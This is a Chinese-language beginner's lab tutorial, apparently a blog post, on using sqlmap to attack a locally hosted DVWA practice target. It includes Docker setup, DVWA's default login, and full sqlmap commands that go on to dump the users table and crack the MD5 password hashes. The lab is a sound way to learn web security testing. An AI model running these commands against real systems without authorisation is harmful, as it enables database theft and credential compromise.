sqlmap 入门

sqlmap 入门

前言

项目地址

sqlmap: https://github.com/sqlmapproject/sqlmap

DVWA: https://github.com/ethicalhack3r/DVWA

实验环境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA

工具介绍:sqlmap 是用来sql 注入的工具,DVWA 是圈内著名的web 安全测试平台,可以用来进行SQL 注入、文件上传漏洞、XSS 攻击等实验。在靶机CentOS 上,使用Docker 部署DVWA 平台,在测试机Ubuntu 上安装sqlmap

准备阶段

1、在CentOS 上安装Docker-CE

如果已经安装Docker 则可以跳过这一步,如果不愿意使用Docker,可以参考DVWA项目地址,手动下载资源文件部署平台

在CentOS上安装Docker:参考其他教程(还没写出来)

2、安装DVWA

由于Docker 安装之后默认的文件系统为layover2,而DVWA 在overlay2 上回遇到和mysql 相关的问题,因此官方推荐更换docker 使用文件系统。

此步我们使用第三方制作的DVWA,支持overlay2:

Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa

安装步骤

# 获取镜像docker pull docker pull citizenstig/dvwa# 新建容器docker run -d -p 80:80 citizenstig/dvwa

访问CentOS 的主机地址,可以看到,除reCAPTCHA key 为Missing 红色外,其余状态均为绿色。点击Create/Reset Database按钮

3、配置DVWA

将DVWA 安全等级修改为Low

4、在Ubuntu 上安装sqlmap

直接使用apt 安装,建议使用国内软件源:

sudo apt install sqlmap

搞事阶段

1、访问CentOS 地址,进入DVWA 配置,使用用户名 admin,密码 password 登录

2、查看Cookis:

在我的电脑上,本次登录使用的cookie为:

PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low

3、DVWA 选择SQL Injection,在输入框内输入任意的测试内容,例如:happy:

可以看到URL 内出现了GET 传值的数据:?id=happy 这意味着可以尝试进行sql 注入

4、使用sqlmap

直接输入sqlmap 可以看到使用提示:

我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch

-u:URL 地址,其中IpAddress 为CentOS 的地址

--cookie:传入刚才登录的cookie,模拟登录(可以尝试不传入cookie 直接注入会发生什么)

--batch:使用默认选项

等待片刻后,sqlmap 给出了此次注入测试的结果:

代表的含义为:sqlmap 通过3704次测试后,找到了四种进行注入的方法(存在四种漏洞),分别为boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后还给出了服务器使用的操作系统、web 引擎和MySQL 大致版本

5、偷看数据库

使用 --dbs 查看数据库:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs

我们准备看一下dvwa 数据库中的表:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables

查看users 中的columns :

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns 

发现user 与password,查看这两列的内容:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump

途中可以看到password 字段为md5 加密,sqlmap 开始爆破试图得到解密结果:

最终得到表内数据以及解密后的密码:

后续阶段

sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内

相关文章